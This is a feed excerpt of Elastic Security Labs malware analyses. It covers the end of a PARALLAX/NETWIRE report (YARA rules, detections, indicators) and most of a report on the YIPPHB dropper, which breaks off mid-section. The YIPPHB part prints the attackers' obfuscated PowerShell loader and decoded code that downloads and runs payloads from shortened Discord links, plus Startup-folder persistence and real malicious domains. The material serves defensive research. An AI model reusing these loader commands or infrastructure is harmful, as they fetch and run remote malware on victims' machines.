<li><a href="https://attack.mitre.org/techniques/T1583/001/">Acquire Infrastructure: Domains</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/001/">Phishing: Attachment</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/003/">Obfuscated Files or Information: Steganography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
</ul>
<h2 id="detection">Detection</h2>
<h3 id="detectionlogic">Detection Logic</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.</p>
<p><strong>Behavioral Rules</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_netwire_rat_registry_modification.toml">NetWire RAT Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_remcos_rat_registry_or_file_modification.toml">Remcos RAT Registry or File Modification</a></li>
</ul>
<p><strong>Detection Rules</strong></p>
<ul>
<li><a href="https://www.elastic.co/guide/en/security/current/persistence-via-scheduled-job-creation.html">Persistence via Scheduled Job Creation</a></li>
<li><a href="https://www.elastic.co/guide/en/security/current/command-prompt-network-connection.html">Command Prompt Network Connection</a></li>
</ul>
<p><strong>Signatures</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Parallax.yar">Windows.Trojan.Parallax</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Netwire.yar">Windows.Trojan.Netwire</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar">Windows.Trojan.Remcos</a></li>
</ul>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code>rule Windows_Trojan_Parallax_1 {
    meta:
        author = “Elastic Security”
        creation_date = "2022-09-05"
        last_modified = "2022-09-15"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Parallax"
        threat_name = "Windows.Trojan.Parallax"
    strings:
        $COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
        $png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
        $config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
        $winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
    condition:
        $config_func or $winnet_function or $COM_png or $png_parse
}

rule Windows_Trojan_Parallax_2 {
    meta:
        author = “Elastic Security”
        creation_date = "2022-09-08"
        last_modified = "2022-09-08"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Parallax"
        threat_name = "Windows.Trojan.Parallax"
    strings:
        $parallax_payload_strings_0 = "[Ctrl +" ascii wide fullword
        $parallax_payload_strings_1 = "[Ctrl]" ascii wide fullword
        $parallax_payload_strings_2 = "Clipboard Start" ascii wide fullword
        $parallax_payload_strings_3 = "[Clipboard End]" ascii wide fullword
        $parallax_payload_strings_4 = "UN.vbs" ascii wide fullword
        $parallax_payload_strings_5 = "lt +" ascii wide fullword
        $parallax_payload_strings_6 = "lt]" ascii wide fullword
        $parallax_payload_strings_7 = ".DeleteFile(Wscript.ScriptFullName)" ascii wide fullword
        $parallax_payload_strings_8 = ".DeleteFolder" ascii wide fullword
        $parallax_payload_strings_9 = ".DeleteFile " ascii wide fullword
        $parallax_payload_strings_10 = "Scripting.FileSystemObject" ascii wide fullword
        $parallax_payload_strings_11 = "On Error Resume Next" ascii wide fullword
        $parallax_payload_strings_12 = "= CreateObject" ascii wide fullword
        $parallax_payload_strings_13 = ".FileExists" ascii wide fullword
    condition:
        7 of ($parallax_payload_strings_*)
}
</code></pre>
<h2 id="parallaxpayloadextractor">PARALLAX Payload Extractor</h2>
<p>Automating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.</p>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample, You can use the <strong>-o</strong> switch to set the output directory of the payloads.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt65ff279367fcb5e5/6a7c82a56c6eac7025f0e3cb/image6.png" alt="Payload extraction from a PARALLAX sample" title="Payload extraction from a PARALLAX sample" /></p>
<p>To enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed <a href="https://www.elastic.co/security-labs/parallax-payload-extractor">here</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In the above research, we have analyzed the two campaigns that we’ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.</p>
<p>We also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.morphisec.com/parallax-rat-active-status">https://blog.morphisec.com/parallax-rat-active-status</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax">https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax</a></li>
<li><a href="https://attack.mitre.org/software/S0198/">https://attack.mitre.org/software/S0198/</a></li>
<li><a href="https://attack.mitre.org/groups/G0120/">https://attack.mitre.org/groups/G0120/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum">https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum</a></li>
<li><a href="http://blog.nsfocus.net/darkcasino-apt-evilnum/">http://blog.nsfocus.net/darkcasino-apt-evilnum/</a></li>
</ul>
<h2 id="indicators">Indicators</h2>
<p>Artifacts are also available for <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc090b3574bb4e7be/633615e4a920fd42f67e7534/ref2731-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>| Name                                                             | STIX 2.1 Indicator Type | Identifier                                        |
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |
| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256                 | Brian_Tax_Docs.doc lure document                  |
| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256                 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |
| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256                 | All Docs.doc lure document                        |
| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256                 | msi.dll PARALLAX loader / NETWIRE                 |
| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256                 | cs16.wav (shellcode)                              |
| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256                 | cs16.cfg (config for PNG stage)                   |
| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256                 | paper.png (stager for NETWIRE)                    |
| 321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c | SHA-256                 | 2021-EXTENSION.doc lure document                  |
| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256                 | msvcr100.dll PARALLAX loader / NETWIRE            |
| globalartisticservices[.]com                                     | domain-name             | PARALLAX loader domain                            |
| DigitalRotPrevention[.]com                                       | domain-name             | PARALLAX loader domain                            |
| InternationalMusicServices[.]com                                 | domain-name             | PARALLAX loader domain                            |
| ywiry[.]com                                                      | domain-name             | NETWIRE C2 domain                                 |
| ohioohioa[.]com                                                  | domain-name             | NETWIRE C2 domain                                 |
| septton[.]com                                                    | domain-name             | NETWIRE C2 domain                                 |
| solro14.s3.ap-northeast-3.amazonaws[.]com                        | domain-name             | PARALLAX loader domain                            |
| mikemikemic[.]com                                                | domain-name             | Domains registered by marketforce666@yandex[.]com |
| ppl-biz[.]com                                                    | domain-name             | Domains registered by marketforce666@yandex[.]com |
| opnarchitect[.]net                                               | domain-name             | Domains registered by marketforce666@yandex[.]com |
| micsupportcenter[.]com                                           | domain-name             | PARALLAX loader domain                            |
| russnet123@protonmail[.]com                                      | email-addr              | PARALLAX loader domain registration email address |
| chisholm.i@aol[.]com                                             | email-addr              | NETWIRE C2 domain registration email address      |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/exploring-the-ref2731-intrusion-set</link>
    <guid isPermaLink="false">exploring-the-ref2731-intrusion-set</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam,Daniel Stepanic,Seth Goodwin,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd3e907dabfb1da42/6a7c82a842a1177bc19560fc/ref-intrusion.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Doing time with the YIPPHB dropper]]></title>
    <description><![CDATA[Elastic Security Labs outlines the steps collect and analyze the various stages of the REF4526 intrusion set. This intrusion set uses a creative approach of Unicode icons in Powershell scripts to install a loader, a dropper, and RAT implants.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.</li>
<li>YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.</li>
<li>The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.</p>
<p>Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.</p>
<p>This research focused on the following:</p>
<ul>
<li>Loader phase</li>
<li>Dropper phase</li>
<li>RAT phase</li>
<li>Activity clusters</li>
<li>Network infrastructure</li>
<li>Hunting queries</li>
</ul>
<h2 id="analysis">Analysis</h2>
<p>The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd8a2cfe7a4347dc5/6a7c7f2133fa8ab81a1fc8cc/image3.png" alt="Execution flow for the REF4526 intrusion set" title="Execution flow for the REF4526 intrusion set" /></p>
<h3 id="loaderphase">Loader phase</h3>
<p>While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.</p>
<pre><code>"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
</code></pre>
<p>While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.</p>
<p>Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a <strong>U</strong>. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p>
<p>By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt512b57168a6945a8/6a7c7f24bdcff02d74c3d041/image5.png" alt="Decoding the Unicode Base64 Powershell string" title="Decoding the Unicode Base64 Powershell string" /></p>
<p>Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.</p>
<pre><code>$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The loader is downloaded from <code>https://tinyurl[.]com/2erph6cs</code>. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.</p>
<p>To unfurl the TinyURL, we can use the JSON API endpoint from <a href="https://unshorten.me/">Unshorten.me</a>:</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}
</code></pre>
<p>Downloading <strong>dllsica.txt</strong> from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from <strong>dllsica.txt</strong> can easily be decoded without substitutions.</p>
<p>Using the <strong>cat</strong> , <strong>base64</strong> , <strong>xxd</strong> , and <strong>head</strong> command line tools, we can see that this has a hexadecimal value of <strong>4d5a</strong> and an MZ magic number in the file header. This confirms we’re analyzing a PE file.</p>
<ul>
<li><strong>cat</strong> - catenates a file</li>
<li><strong>base64 -D</strong> - the <strong>-D</strong> switch decodes a base64 encoded file</li>
<li><strong>xxd</strong> - creates a hexadecimal dump of an input</li>
<li><strong>head</strong> - returns the first 10 lines of a file</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...
</code></pre>
<p>Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.</p>
<ul>
<li><strong>file</strong> - verify the file type</li>
<li><strong>shasum -a 256</strong> - the -a 256 switch uses the 256-bit hashing algorithm</li>
</ul>
<pre><code>$ cat dllsica.txt | base64 -D &gt; dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
</code></pre>
<p>Now that the loader has been collected, it executes the method <strong>PUlGKA</strong> inside of the class <strong>NwgoxM.KPJaN</strong>. From the original Base64 decoded string</p>
<pre><code>…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6d7cfb8a517a1932/6a7c7f280dceaf1dda1c52ba/image7.png" alt="The loader’s execution" title="The loader’s execution" /></p>
<p>We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.</p>
<pre><code>FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
</code></pre>
<h3 id="dropperphase">Dropper phase</h3>
<p>From the loader's execution image above, we can see that the loader uses a reversed variable (<strong>text = bdw6ufv4/moc[.]lruynit//:sptth</strong>) to download an additional file using a TinyURL. Using the command line tool, <strong>rev</strong> , we can correct the reversed URL.</p>
<pre><code>$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd
</code></pre>
<p>We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.</p>
<pre><code>$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}
</code></pre>
<p>Another encoded file is downloaded from Discord: <strong>pesica.txt</strong>. As of this writing, VirusTotal reports zero detections of this file.</p>
<p>With clues from <strong>dllsica.bin</strong> , we can see that <strong>pesica.txt</strong> uses UTF-8 encoding. To further analyze our file, we need to replace the <strong>▒▒▒▒</strong> values with an <strong>A</strong> , and Base64 decode the resulting strings.</p>
<pre><code>…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
    Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
    {
    text4 + "\\InstallUtil.exe",
    Convert.FromBase64String(text3)
    });
…truncated…
</code></pre>
<p>We can stack recipes to perform these functions with CyberChef.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3e3817c1c231b3e9/6a7c7f2b80ee38d35060d0f9/image2.png" alt="Using CyberChef to decode pesica.txt" title="Using CyberChef to decode pesica.txt" /></p>
<p>Once we’ve decoded <strong>pesica.txt</strong> , we calculate the hash <strong>bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf</strong>. The decoded output of <strong>pesica.txt</strong> shows the <strong>YippHB</strong> module name.</p>
<pre><code>...truncated...
ToInt16
&lt;Module&gt;
YippHB
ResumeThread_API
...truncated...
</code></pre>
<p>This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher <a href="https://twitter.com/pmelson">Paul Melson</a>. Paul <a href="https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara">publicly disclosed</a> this dropper in October of 2022 at the Augusta BSides security conference.</p>
<p>The YIPPHB dropper is executed using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool">Installutil.exe</a> command-line utility to start the RAT phase.</p>
<blockquote>
  <p>We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.</p>
</blockquote>
<h3 id="ratphase">RAT phase</h3>
<p>Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.</p>
<pre><code>…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
</code></pre>
<p>The RAT was retrieved from <code>https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt</code>, which is reversed from <strong>txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth</strong>.</p>
<p>Looking at the file <strong>10oct8000.txt</strong> file, we can see that it is a reversed, Base64-encoded file.</p>
<pre><code>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
</code></pre>
<p>We can correct this file and Base64 decode it using the command-line tools <strong>rev</strong> and <strong>base64</strong> and save the output as <strong>10oct8000.bin</strong>.</p>
<pre><code>$ cat 10oct8000.txt | rev | base64 -D &gt; 10oct8000.bin
</code></pre>
<p><strong>10oct8000.bin</strong> has a SHA256 hash of <strong>1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3</strong>. This file is reported on VirusTotal as a variant of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat">LIMERAT</a> or <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">NJRAT</a> malware families (depending on the source).</p>
<p>Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (<a href="https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html">1</a>, <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">2</a>).</p>
<p>The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbc021b4f01ac267b/6a7c7f2e0dceaf17491c52be/image8.png" alt="NJRAT C2 configuration variables" title="NJRAT C2 configuration variables" /></p>
<p>For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( <strong>TllBTiBDQVQ=</strong> ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with <a href="https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs">a known NJRAT code base</a>, this C2 configuration information adds to our conviction that this is related to NJRAT.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt09339ede4d86796e/6a7c7f316eedf370d8100266/image4.jpg" alt="NJRAT code from Github" title="NJRAT code from Github" /></p>
<p>If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:</p>
<ul>
<li>victimName ( <strong>vn</strong> )</li>
<li>Hardware ID</li>
<li>Username</li>
<li>OSFullName</li>
<li>OSVersion Servicepack</li>
<li>if the Program Files folder ends in <strong>X86</strong> or not</li>
<li>if a webcam is present</li>
<li>the window name</li>
<li>a permission check on the registry</li>
</ul>
<p>If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, <a href="https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a">here</a> and <a href="https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/">here</a></p>
<h3 id="activityclusters">Activity clusters</h3>
<p>We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:</p>
<pre><code>intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
</code></pre>
<p>This query allowed us to identify Powershell activity that uses both Unicode characters and the <strong>replace</strong> function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb6b4dffe981af569/6a7c7f34227b1c9c3f59261a/image6.png" alt="Timeline of REF4526 events" title="Timeline of REF4526 events" /></p>
<p>Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable <strong>iUqm</strong> and the ⌚⌚⌚Unicode icons.</p>
<p>| Cluster ID | Variable | Unicode icon + number | Percentage of prevalence (rounded) |
| ---------- | -------- | --------------------- | ---------------------------------- |
| 1          | ngfYq    | ❞ (U+275E)            | 1%                                 |
| 2          | Codigo   | ❤ (U+2764)           | 1%                                 |
| 3          | iUqm     | ⌚ (U+231A)           | 9%                                 |
| 4          | iUqm     | ⚔ (U+2694)           | 6%                                 |
| 5          | Codigo   | ⁂ (U+2042)            | 62%                                |
| 6          | iUqm     | ✌ (U+270C)           | 1%                                 |
| 7          | Codigo   | ⏏ (U+23CF)           | 1%                                 |
| 8          | Cg1O     | ☈ (U+2608)            | 5%                                 |
| 9          | Codigo   | ♔ (U+2654)            | 10%                                |
| 10         | iUqm     | ﭏ (U+FB4F)            | 1%                                 |
| 11         | Codigo   | _*\/}+/_=         | 1%                                 |
| 12         | iUqm     | ☈ (U+2608)            | 2%                                 |</p>
<p>Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( <strong>_*\/}+/_=</strong> ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.</p>
<h3 id="collectingandparsingnetworkdata">Collecting and parsing network data</h3>
<p>To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the <strong>process.command_line</strong> fields and the follow-on C2 used by the RAT implants.</p>
<h4 id="loaderanddropper">Loader and Dropper</h4>
<p>As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.</p>
<p>To avoid execution of the Powershell command itself, we can leverage the text processing tool <strong>awk</strong>. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.</p>
<p>To get started, we’ll need to get access to our data on the command line where we can pipe it to <strong>awk</strong>. We’ve <a href="https://github.com/elastic/securitylabs-thrunting-tools">published a tool</a> called <strong>eql-query</strong> (and another called <strong>lucene-query</strong> ) to do just that.</p>
<p>Using <strong>eql-query</strong> , we can run an EQL query to retrieve the last 180-days of results, retrieving only the <strong>process.command_line</strong> field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.</p>
<pre><code>eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
</code></pre>
<p>Next, use <strong>jq</strong> to pass the raw string to <strong>awk</strong> using <strong>jq '._source.process.command_line' -r | awk</strong>.</p>
<blockquote>
  <p>If you’re doing this iteratively, it’s best to write the results from <strong>eql-query</strong> to a file, and then operate on the results locally until you have your pipeline how you’d like it.</p>
</blockquote>
